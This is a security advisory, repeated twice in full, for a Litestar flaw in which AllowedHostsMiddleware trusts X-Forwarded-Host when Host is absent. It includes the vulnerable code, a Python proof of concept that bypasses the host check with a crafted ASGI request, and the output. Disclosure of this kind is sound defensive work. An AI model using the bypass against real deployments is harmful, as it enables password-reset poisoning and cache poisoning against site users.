CVE-2026-48061

### Summary `AllowedHostsMiddleware` trusts the `X-Forwarded-Host` header as a fallback when the `Host` header is absent. Since `X-Forwarded-Host` is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the `Host` header and supplying an `X-Forwarded-Host` header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation. ### Details In `AllowedHostsMiddleware.__call__`, the host value used for validation is resolved as follows: https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68 ```python headers = MutableScopeHeaders(scope=scope) if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]: if self.allowed_hosts_regex.fullmatch(host): await self.app(scope, receive, send) return ``` When `Host` is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to `X-Forwarded-Host` without any verification that the request actually passed through a trusted reverse proxy. An attacker can send a request with no `Host` header and set `X-Forwarded-Host` to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host. This is particularly dangerous when applications use the resolved host value for: - Generating password reset links (`Host` header injection → link points to attacker domain) - Cache key generation (cache poisoning) - Routing or backend selection decisions ### PoC ```python """ PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0 Affected: litestar/middleware/allowed_hosts.py:68 -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0] """ import asyncio from litestar import Litestar, get from litestar.config.allowed_hosts import AllowedHostsConfig from litestar.testing import TestClient @get("/") async def index() -> dict: return {"status": "ok"} app = Litestar( route_handlers=[index], allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]), ) # --- 1. Baseline: invalid host is blocked --- with TestClient(app=app) as c: resp = c.get("/", headers={"host": "evil.com"}) assert resp.status_code == 400 print(f"[*] Host: evil.com -> {resp.status_code} (blocked)") # --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host --- async def test_bypass(): scope = { "type": "http", "method": "GET", "path": "/", "root_path": "", "scheme": "http", "query_string": b"", "headers": [ # No "host" header — only x-forwarded-host (b"x-forwarded-host", b"trusted.example.com"), ], "server": ("testserver", 80), "app": app, "litestar_app": app, "state": {}, } captured = {} async def receive(): return {"type": "http.request", "body": b""} async def send(message): if message["type"] == "http.response.start": captured["status"] = message["status"] await app(scope, receive, send) return captured["status"] status = asyncio.run(test_bypass()) print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)") assert status == 200, f"Expected 200, got {status}" print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host") ``` **Output:** ``` [*] Host: evil.com -> 400 (blocked) [*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed) [!] AllowedHosts check passed using client-controlled X-Forwarded-Host ``` ### Impact This is a host validation bypass vulnerability. Any application using `AllowedHostsConfig` is affected when deployed without a reverse proxy that strips `X-Forwarded-Host`, or when accepting HTTP/1.0 connections. An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to: - **Password reset poisoning**: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain - **Cache poisoning**: cached responses keyed on the host value can be polluted with attacker-controlled content - **Routing manipulation**: backend routing decisions based on host value can be influenced

### Summary `AllowedHostsMiddleware` trusts the `X-Forwarded-Host` header as a fallback when the `Host` header is absent. Since `X-Forwarded-Host` is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the `Host` header and supplying an `X-Forwarded-Host` header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation. ### Details In `AllowedHostsMiddleware.__call__`, the host value used for validation is resolved as follows: https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68 ```python headers = MutableScopeHeaders(scope=scope) if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]: if self.allowed_hosts_regex.fullmatch(host): await self.app(scope, receive, send) return ``` When `Host` is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to `X-Forwarded-Host` without any verification that the request actually passed through a trusted reverse proxy. An attacker can send a request with no `Host` header and set `X-Forwarded-Host` to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host. This is particularly dangerous when applications use the resolved host value for: - Generating password reset links (`Host` header injection → link points to attacker domain) - Cache key generation (cache poisoning) - Routing or backend selection decisions ### PoC ```python """ PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0 Affected: litestar/middleware/allowed_hosts.py:68 -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0] """ import asyncio from litestar import Litestar, get from litestar.config.allowed_hosts import AllowedHostsConfig from litestar.testing import TestClient @get("/") async def index() -> dict: return {"status": "ok"} app = Litestar( route_handlers=[index], allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]), ) # --- 1. Baseline: invalid host is blocked --- with TestClient(app=app) as c: resp = c.get("/", headers={"host": "evil.com"}) assert resp.status_code == 400 print(f"[*] Host: evil.com -> {resp.status_code} (blocked)") # --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host --- async def test_bypass(): scope = { "type": "http", "method": "GET", "path": "/", "root_path": "", "scheme": "http", "query_string": b"", "headers": [ # No "host" header — only x-forwarded-host (b"x-forwarded-host", b"trusted.example.com"), ], "server": ("testserver", 80), "app": app, "litestar_app": app, "state": {}, } captured = {} async def receive(): return {"type": "http.request", "body": b""} async def send(message): if message["type"] == "http.response.start": captured["status"] = message["status"] await app(scope, receive, send) return captured["status"] status = asyncio.run(test_bypass()) print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)") assert status == 200, f"Expected 200, got {status}" print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host") ``` **Output:** ``` [*] Host: evil.com -> 400 (blocked) [*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed) [!] AllowedHosts check passed using client-controlled X-Forwarded-Host ``` ### Impact This is a host validation bypass vulnerability. Any application using `AllowedHostsConfig` is affected when deployed without a reverse proxy that strips `X-Forwarded-Host`, or when accepting HTTP/1.0 connections. An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to: - **Password reset poisoning**: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain - **Cache poisoning**: cached responses keyed on the host value can be polluted with attacker-controlled content - **Routing manipulation**: backend routing decisions based on host value can be influenced